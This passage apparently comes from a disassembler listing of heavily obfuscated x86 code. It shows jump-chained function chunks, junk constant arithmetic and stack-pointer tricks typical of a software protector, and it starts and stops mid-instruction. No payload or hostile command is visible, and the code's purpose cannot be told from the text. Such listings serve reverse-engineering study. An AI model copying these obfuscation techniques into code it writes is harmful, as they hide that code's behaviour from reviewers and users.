8292D2CCh add ebx, ecx pop ecx xor eax, ebx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, esp push edx jmp loc_5970EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_597C12: ; CODE XREF: sub_5962EB-1BFFj pop dx pop cx xor bl, al movzx eax, al push dword ptr [edi+eax*4] jmp loc_58CB19 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_597C23: ; CODE XREF: sdfs____:0059286Dj jmp loc_590559 ; --------------------------------------------------------------------------- loc_597C28: ; CODE XREF: sdfs____:00593EE2j xchg ecx, ebx jmp loc_592CE8 ; --------------------------------------------------------------------------- loc_597C2F: ; CODE XREF: sdfs____:00597545j sub al, 0BDh jmp loc_592CBD ; --------------------------------------------------------------------------- loc_597C36: ; CODE XREF: sdfs____:0058C1FDj mov edi, 30A243A8h and edi, 410B1603h js loc_598DDE jmp loc_594B2D ; --------------------------------------------------------------------------- loc_597C4C: ; CODE XREF: sdfs____:loc_597332j neg esi jz loc_5944B1 jmp loc_5902B8 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx push esp pop ecx sub esp, 4 mov [esp], eax mov eax, 69BC177Ah add eax, 3B7176E0h shl eax, 8 xor eax, 2D8E5A04h jmp loc_58C43E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_597C7D: ; CODE XREF: sub_594228-4DA7j sub ebx, 613D4662h add ebx, 75D86CC3h add ebx, ecx sub ebx, 75D86CC3h add ebx, 613D4662h jmp loc_58E528 ; --------------------------------------------------------------------------- loc_597C9C: ; CODE XREF: sub_594228-74D1j or ecx, 781F4DB7h add ecx, 0C584E73Dh jmp loc_5930CF ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_597CAD: ; CODE XREF: sub_59587A-4A04j or [edi+1Ch], ebp mov ebp, [esp+0] add esp, 4 jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_597CBB: ; CODE XREF: sdfs____:00598300j mov bh, 93h sub ch, bh pop ebx push eax jmp loc_58D969 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_597CC6: ; CODE XREF: sub_5941BD-8238j ; sub_5987BC:loc_597571j mov ch, ah pop eax pop ebx pop edx push edx push ebx mov bl, ch mov dh, bl pop ebx mov bh, dh mov edx, [esp-8+arg_4] add esp, 4 pop ecx jmp loc_58D26E ; END OF FUNCTION CHUNK FOR sub_5987BC ; =============== S U B R O U T I N E ======================================= sub_597CE3 proc near ; CODE XREF: sub_58CDE6+1128j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058D245 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058E44E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00597812 SIZE 0000000B BYTES push ebp push ecx mov ecx, 43CA0401h xor ecx, 39105F07h mov ebp, ecx pop ecx sub ebp, 43D16EB3h push edx mov edx, 78227180h add ebp, edx pop edx xchg ecx, ebp neg ecx xchg ecx, ebp or ebp, 2A323044h inc ebp add ebp, 0B333CAE2h xor ecx, ebp pop ebp shr ecx, 8 sub ecx, offset word_627056 sub ebx, ecx pop ecx xchg ebx, [esp+0] jmp loc_58D245 sub_597CE3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_597D2C: ; CODE XREF: sub_5985AE-49ECj mov ecx, [esp-8+arg_4] jmp loc_591B08 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_597D34: ; CODE XREF: sdfs____:00593512j add esp, 4 jmp loc_58E985 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_597D3F: ; CODE XREF: sub_591435-1849j mov ebp, 1B324D8Ch xor ecx, ebp push [esp+8+var_8] jmp loc_58D779 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590561 loc_597D4E: ; CODE XREF: sub_590561+2FCj inc dx shl dx, 4 push si jmp loc_592F7B ; END OF FUNCTION CHUNK FOR sub_590561 ; --------------------------------------------------------------------------- loc_597D5B: ; CODE XREF: sdfs____:00596052j mov edx, 468D1BBBh sub edx, 0CB5AA081h jmp loc_594EED ; --------------------------------------------------------------------------- loc_597D6B: ; CODE XREF: sdfs____:00595F41j mov [esp], edx mov edx, 7E217791h jmp loc_594DC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_597D78: ; CODE XREF: sub_5987BC-11FEj push edx mov dl, 0A0h sub dl, 29h mov ah, dl pop edx neg ah and ah, 50h jmp loc_591B1B ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_597D8B: ; CODE XREF: sub_5917C0-9F7j xor ebx, ebp xor ebp, ebx jmp loc_5951CD ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592853 loc_597D94: ; CODE XREF: sub_592853-10F5j shr edx, 1 cmp eax, edx jz loc_5908AC sub esp, 4 jmp loc_598935 ; END OF FUNCTION CHUNK FOR sub_592853 ; --------------------------------------------------------------------------- loc_597DA9: ; CODE XREF: sdfs____:0058E593j mov ax, [esp] push ecx jmp loc_591C50 ; --------------------------------------------------------------------------- loc_597DB3: ; CODE XREF: sdfs____:005965AFj mov esp, [esp] jmp loc_58D6E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BDAA loc_597DBB: ; CODE XREF: sub_58BDAA+9j pop ebx push 572Dh mov [esp+0], ebp jmp loc_58CC9F ; END OF FUNCTION CHUNK FOR sub_58BDAA ; --------------------------------------------------------------------------- loc_597DC9: ; CODE XREF: sdfs____:005947BEj mov edx, esp jmp loc_58ECAD ; --------------------------------------------------------------------------- loc_597DD0: ; CODE XREF: sdfs____:00593656j sub esi, 140C33CBh push ecx mov ecx, 654F3FC4h jmp loc_58C933 ; --------------------------------------------------------------------------- loc_597DE1: ; CODE XREF: sdfs____:0058DF55j xor eax, ebx push 48CEh mov [esp], ecx jmp loc_597655 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_597DF0: ; CODE XREF: sub_59841F-A418j inc ebx jle loc_5961D6 push ecx jmp loc_594DC2 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_597DFD: ; CODE XREF: sub_591435+6E1Aj push eax jmp loc_58E243 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_597E03: ; CODE XREF: sub_596736-2782j push 281Dh mov [esp+4+var_4], ebx push 7D88h jmp loc_59075B ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BB696 loc_597E15: ; CODE XREF: sub_5BB696-2BC66j mov ebp, 4 sub eax, ebp pop ebp jmp loc_58D801 ; END OF FUNCTION CHUNK FOR sub_5BB696 ; --------------------------------------------------------------------------- loc_597E22: ; CODE XREF: sdfs____:00591CCFj mov [esp], esi push 4324h mov [esp], edx mov edx, 719289Dh add edx, 0F8E6D765h mov esi, edx jmp loc_5960AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EC6C loc_597E3F: ; CODE XREF: sub_58EC6C+308Dj xor ebx, [esp+0] mov esp, [esp+0] and word ptr [esp-4+arg_0], ax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_58EC6C ; --------------------------------------------------------------------------- loc_597E4F: ; CODE XREF: sdfs____:0059082Fj pop eax sub esp, 4 mov [esp], esi push esp pop esi push eax jmp loc_597070 ; --------------------------------------------------------------------------- loc_597E5E: ; CODE XREF: sdfs____:005973B3j pop ebx add esi, 2 jmp loc_594669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_597E67: ; CODE XREF: sub_591370+134Ej push edi mov edi, 33322D0Dh jmp loc_594290 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_597E72: ; CODE XREF: sdfs____:00590512j push dx mov dl, 87h jmp loc_58CB07 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_597E7B: ; CODE XREF: sub_5917C0-57EAj push 4F94h jmp loc_58BE78 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_597E85: ; CODE XREF: sub_58FE3C+19F1j ; sub_59587A-30DDj idiv cx jmp sub_58DB37 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_597E8D: ; CODE XREF: sdfs____:00590700j ; sub_594228-126Cj mov [esp+12h+var_14+2], ecx mov ecx, 369E6683h add esi, ecx mov ecx, [esp+12h+var_14+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+16h+var_18+2] pop esp push 0 push [esp+16h+var_18+2] jmp loc_59563D ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_597EB7: ; CODE XREF: sdfs____:0059163Dj add esp, 4 push edx mov edx, 3D315CE9h add eax, 73061090h sub eax, edx sub eax, 73061090h push dword ptr [esp] jmp loc_58F06A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_597ED4: ; CODE XREF: sub_591370-1386j mov ebx, ecx pop ecx add ebx, 7BE64EB2h jmp loc_594E2F ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_597EE2: ; CODE XREF: sub_596736+20E6j mov eax, 1469106Bh shl eax, 8 neg eax sub esp, 4 mov [esp+0Ch+var_C], esi mov esi, 5BEB672Fh add esi, 0E13EB983h add eax, esi pop esi shl eax, 7 push 1CCh jmp loc_58EA68 ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_597F10: ; CODE XREF: sub_59841F-6D1Dj pop edx add ecx, ebx sub ecx, 30BC2869h jmp loc_598C41 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_597F1E: ; CODE XREF: sub_591435+4595j not edx xchg edx, ebp push 5C77h mov [esp+8+var_8], ecx push esi push 6F8B10A5h pop esi shr esi, 1 jz loc_5937D1 inc esi jle loc_5939D3 xor esi, 8DCBE173h mov ecx, esi pop esi add ebp, 72E414AEh sub ebp, ecx sub ebp, 72E414AEh mov ecx, [esp+8+var_8] jmp loc_58C418 ; --------------------------------------------------------------------------- loc_597F5F: ; CODE XREF: sub_591435+38C9j neg ecx push ebp mov ebp, 1C2304D8h xor ecx, ebp mov ebp, [esp+1Ch+var_1C] add esp, 4 xor ecx, 9CDC7A10h jmp loc_58DBDE ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- mov cx, [esp] push 2E2Dh mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp] jmp loc_591491 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C71E loc_597F9C: ; CODE XREF: sub_58C71E+47C0j xor eax, [esp-4+arg_0] xor [esp-4+arg_0], eax xor eax, [esp-4+arg_0] mov esp, [esp-4+arg_0] mov [esp-4+arg_0], ecx pop dword ptr [eax] jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_58C71E ; --------------------------------------------------------------------------- loc_597FB2: ; CODE XREF: sdfs____:0058C02Dj add ebx, 4 xchg ebx, [esp] pop esp jmp loc_59687F ; --------------------------------------------------------------------------- loc_597FBE: ; CODE XREF: sdfs____:005962DCj add eax, esi mov esi, [esp] jmp loc_591EA2 ; --------------------------------------------------------------------------- loc_597FC8: ; CODE XREF: sdfs____:00594B02j pop eax jmp loc_58F68C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_597FCE: ; CODE XREF: sub_591370-5450j xchg eax, esi pop esi jmp loc_596951 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_597FD5: ; CODE XREF: sub_594228-171Fj pop esi mov ebp, edx mov edx, [esp+2+var_4+2] add esp, 4 or ebx, ebp pop ebp jmp loc_591597 ; --------------------------------------------------------------------------- loc_597FE9: ; CODE XREF: sub_594228+CC0j or eax, 74D00FC1h dec eax shl eax, 8 jmp loc_58BA8C ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_597FF7: ; CODE XREF: sdfs____:005923B9j mov ecx, esp jmp loc_59340F ; --------------------------------------------------------------------------- loc_597FFE: ; CODE XREF: sdfs____:00590935j and dl, 0B5h jle loc_593047 jmp loc_596F16 ; --------------------------------------------------------------------------- loc_59800C: ; CODE XREF: sdfs____:00591A93j push eax mov eax, 662549BDh push eax jmp loc_596257 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_598018: ; CODE XREF: sub_591370+DEEj xor al, 0BDh jmp loc_58C683 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_59801F: ; CODE XREF: sdfs____:0058FE7Bj sub edi, 742131F8h jbe loc_595F0F or edi, 79374B7Dh jmp loc_598A58 ; --------------------------------------------------------------------------- push edx mov edi, ebp loc_598039: ; CODE XREF: sdfs____:005945D1j pop edx sub eax, 4D7A50ADh sub eax, ecx jmp loc_592745 ; --------------------------------------------------------------------------- loc_598046: ; CODE XREF: sdfs____:00590197j not esi push ecx mov ecx, 1DB11A87h add esi, ecx pop ecx and esi, 5C68469Ah jmp loc_58C68C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_59805C: ; CODE XREF: sub_594228-74A4j ; sdfs____:00596397j sub edx, 3E5D725h push edx pop esi mov edx, [esp+1Eh+var_20+2] jmp loc_598C90 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5934D7 loc_59806C: ; CODE XREF: sub_5934D7+Bj add ebp, 4 add ebp, 4 xchg ebp, [esp+4+var_4] pop esp or eax, eax jz loc_58D248 push dword ptr [edi+1Ch] push esi push 1D77469Bh jmp loc_592AC5 ; END OF FUNCTION CHUNK FOR sub_5934D7 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push esp push dword ptr [esp] pop ebx add esp, 4 push edx mov edx, 4 add ebx, edx mov edx, [esp] add esp, 4 jmp loc_5953B4 ; --------------------------------------------------------------------------- loc_5980B5: ; CODE XREF: sdfs____:0058DD3Dj mov ecx, 1826DC6h mov edx, 20439A3Bh add edx, 1380D46h sub edx, ecx sub edx, 1380D46h pop ecx sub edx, 29B566C6h sub edx, eax add edx, 29B566C6h pop eax or [edi+1Ch], edx pop edx jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_5980E6: ; CODE XREF: sdfs____:00596ABDj sub eax, 546F2820h js loc_58E732 push edi mov edi, 0C8DF4975h sub eax, edi pop edi pop eax loc_5980FB: ; CODE XREF: sdfs____:0058C338j push esi push 4 jmp loc_59877B ; --------------------------------------------------------------------------- loc_598106: ; CODE XREF: sdfs____:005911B9j add edx, 4 jmp loc_592D09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590561 loc_598111: ; CODE XREF: sub_590561+73BEj sub ax, si mov esi, [esp+0] push edi mov edi, esp jmp sub_59576E ; END OF FUNCTION CHUNK FOR sub_590561 ; --------------------------------------------------------------------------- loc_59811F: ; CODE XREF: sdfs____:0058D662j mov [esp], ecx push ebx mov bh, 66h push edx push eax jmp loc_595A37 ; --------------------------------------------------------------------------- loc_59812C: ; CODE XREF: sdfs____:00594113j pop edx sub esi, 527C0FF3h xor esi, 1BD50ED1h add eax, 2E867AF0h add eax, 100442BCh add eax, esi sub eax, 100442BCh jmp loc_590D48 ; --------------------------------------------------------------------------- loc_59814F: ; CODE XREF: sdfs____:00593885j add eax, edi pop edi add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] test ecx, eax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_598169: ; CODE XREF: sub_5917C0+31C1j add ecx, 4 add ecx, 4 jmp loc_590663 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_59817A: ; CODE XREF: sdfs____:00595377j pop esp jmp loc_59588D ; --------------------------------------------------------------------------- loc_598180: ; CODE XREF: sdfs____:0059104Aj push dword ptr [esp] pop esi push eax push esp pop eax add eax, 4 push esi mov esi, 4 add eax, esi pop esi xchg eax, [esp] pop esp loc_598199: ; CODE XREF: sdfs____:005916BBj push ebx add dword ptr [esp], 6A293A1Eh jmp loc_597BE2 ; --------------------------------------------------------------------------- loc_5981A6: ; CODE XREF: sdfs____:005915ACj ; sdfs____:005949ABj pop edi pop edi jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_5981AD: ; CODE XREF: sub_5985AE-6B73j mov esi, 4 add ebx, esi pop esi add ebx, 4 xchg ebx, [esp-4+arg_0] pop esp jmp loc_5956AB ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_5981C1: ; CODE XREF: sdfs____:00592E60j xchg edi, [esp] jmp loc_593C95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594F18 loc_5981C9: ; CODE XREF: sub_594F18-1EAAj add ebx, 0BFF3E000h mov edi, ebx pop ebx and eax, edi mov edi, [esp-4+arg_0] jmp loc_58BC5C ; END OF FUNCTION CHUNK FOR sub_594F18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_5981DC: ; CODE XREF: sub_59377D-3960j sub esi, eax pop eax pop ebp add [edi+24h], esi pop esi ; END OF FUNCTION CHUNK FOR sub_59377D ; START OF FUNCTION CHUNK FOR sub_591435 loc_5981E4: ; CODE XREF: sub_591435-3D2Ej push 6995h mov [esp+4+var_4], edi push edx push ebx sub [esp+0Ch+var_C], 29113140h pop edx add edx, 29113140h mov edi, edx pop edx mov eax, edi push [esp+4+var_4] mov edi, [esp+8+var_8] push 3FABh jmp loc_58BA1B ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_598211: ; CODE XREF: sdfs____:0058E63Fj mov ebx, 29D726C7h add edx, ebx pop ebx add edx, esi sub edx, 29D726C7h jmp loc_5957B4 ; --------------------------------------------------------------------------- loc_598226: ; CODE XREF: sdfs____:0058CEBFj sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], eax jmp loc_58D4ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59823E: ; CODE XREF: sdfs____:0058BEA1j ; sub_591435+A06j not eax not eax xor eax, 5B31A2A2h sub ebx, 4D676288h sub ebx, eax jmp loc_597DFD ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_598254: ; CODE XREF: sub_5987BC-3173j ; sdfs____:00596AC8j pop edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0] pop esp mov [esp+0], ebp mov edx, [esp+0] jmp loc_592707 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_598273: ; CODE XREF: sdfs____:0058BB0Aj push eax jmp loc_58DBBC ; --------------------------------------------------------------------------- loc_598279: ; CODE XREF: sdfs____:0058D90Ej and edi, 65630072h jp loc_58CD00 jmp loc_594C92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59828A: ; CODE XREF: sub_591435+26ADj sub eax, 4 xchg eax, [esp+4+var_4] mov esp, [esp+4+var_4] mov [esp+4+var_4], esi push 2A40h mov [esp+8+var_8], esp jmp loc_591FCB ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5982A5: ; CODE XREF: sdfs____:005941B0j and eax, ebx pop ebx jmp loc_59772E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5982AD: ; CODE XREF: sub_591435-2DA0j mov ecx, eax pop eax jmp loc_598B07 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_5982B5: ; CODE XREF: sub_591370-322Fj mov [esp-14h+arg_10], ebp push edi push edx push 741C14D3h jmp loc_59656D ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5982C4: ; CODE XREF: sub_594228+2BBDj shl esi, 7 js loc_592313 dec esi jl loc_592033 jmp loc_5908AB ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_5982D9: ; CODE XREF: sdfs____:005928D6j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5985C8 ; --------------------------------------------------------------------------- loc_5982E8: ; CODE XREF: sdfs____:00594C8Dj xchg ch, dh inc ch xchg ch, dh push 25D4h mov [esp], ecx mov ch, 93h push 5E05h mov [esp], ebx jmp loc_597CBB ; --------------------------------------------------------------------------- loc_598305: ; CODE XREF: sdfs____:0059847Aj mov edi, 7D52896h add esi, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_5901AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_59831B: ; CODE XREF: sub_594228-7FDj ; sub_59587A+D53j shl ebp, 6 jns loc_58E263 add ebp, 0C5B3D51h push edx mov ebp, eax pop edi ; END OF FUNCTION CHUNK FOR sub_59587A ; START OF FUNCTION CHUNK FOR sub_591435 loc_59832E: ; CODE XREF: sub_591435-1AC4j mov edi, 0BAC8BD20h jmp loc_58D081 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_598338: ; CODE XREF: sdfs____:0058C160j mov ebx, [esp] jmp loc_5905E6 ; --------------------------------------------------------------------------- loc_598340: ; CODE XREF: sdfs____:005987DAj sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebx mov ebx, 35F8392Dh mov edx, 1B326D48h xor edx, ebx jmp loc_591137 ; --------------------------------------------------------------------------- loc_598363: ; CODE XREF: sdfs____:0058CAAEj add esp, 4 jmp loc_5951C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BAD7 loc_59836E: ; CODE XREF: sub_58BAD7+4E74j push edx mov edx, esp push ebx jmp loc_597285 ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_598377: ; CODE XREF: sub_591435-1FC7j add edi, 4CD65867h dec edi add edi, 9773C4D0h xor ecx, edi jmp loc_590FF0 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_59838B: ; CODE XREF: sdfs____:00596AB1j add ecx, 4 xchg ecx, [esp] pop esp jmp loc_58DE27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_598397: ; CODE XREF: sdfs____:0058E678j ; sub_591370+1E4Fj mov ebp, esp add ebp, 4 push esi jmp loc_592DF7 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_594701 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_5983AD: ; CODE XREF: sub_5962EB-7F9Fj sub eax, 9C3CA91Bh mov esi, eax pop eax add esi, 93D9A659h add ecx, esi pop esi add ecx, 4 jmp loc_5914E6 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_5983C6: ; CODE XREF: sdfs____:0059348Bj add eax, 4F40EDB2h mov ebx, eax pop eax jmp loc_5922D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5983D3: ; CODE XREF: sub_591435+116j add esp, 4 pop [esp+8+var_8] jmp loc_597924 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_5983DE: ; CODE XREF: sdfs____:00597AC4j shl ebp, 4 xor ebp, 19394025h push ecx mov ecx, 0B0F99h neg ecx and ecx, 0B86689Ah push esi mov esi, 0A03BCB23h sub ecx, esi pop esi add ebp, ecx pop ecx add edi, ebp pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_59580A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_598413: ; CODE XREF: sub_5941BD+59Bj pop ebp add edi, 5B391689h jmp loc_58FE47 ; END OF FUNCTION CHUNK FOR sub_5941BD ; =============== S U B R O U T I N E ======================================= sub_59841F proc near ; CODE XREF: sub_5917C0-49Bj var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058BAA9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058BADF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058BB0F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058BB2D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C014 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058C3F6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058C62E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058C734 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058CC2D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058CD3E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058CDC4 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058CF8C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058D4E1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058DFFD SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058E3BC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058E7A6 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0058E8B0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058F3C1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058F60C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058FE34 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00590007 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00590631 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005906C3 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0059086E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00590CBC SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00590F59 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00591423 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00591700 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00591926 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00591BBF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00592919 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00592D87 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593381 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00593B51 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005942AA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00594DC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005961D6 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 00596346 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059725B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005972E0 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005975F6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00597835 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00597866 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0059792D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00597DF0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00597F10 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00598644 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00598A48 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00598C41 SIZE 00000016 BYTES push ebx mov ebx, 6C1340B6h jmp loc_58C734 sub_59841F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59842A: ; CODE XREF: sub_591435-53A5j add esp, 4 or eax, eax jz loc_593ADA push dword ptr [edi+1Ch] push ecx push ebp mov ebp, 543318E3h xor ebp, 4F01556Fh mov ecx, ebp pop ebp xor [esp+8+var_4], ecx jmp loc_598DBF ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_598454: ; CODE XREF: sdfs____:005948D6j mov esi, esp push 2495h mov [esp], eax push ecx mov ecx, 360F3D71h dec ecx or ecx, 8ED5813h dec ecx jnp loc_58C420 jmp loc_592ED9 ; --------------------------------------------------------------------------- loc_598477: ; CODE XREF: sdfs____:00593661j mov 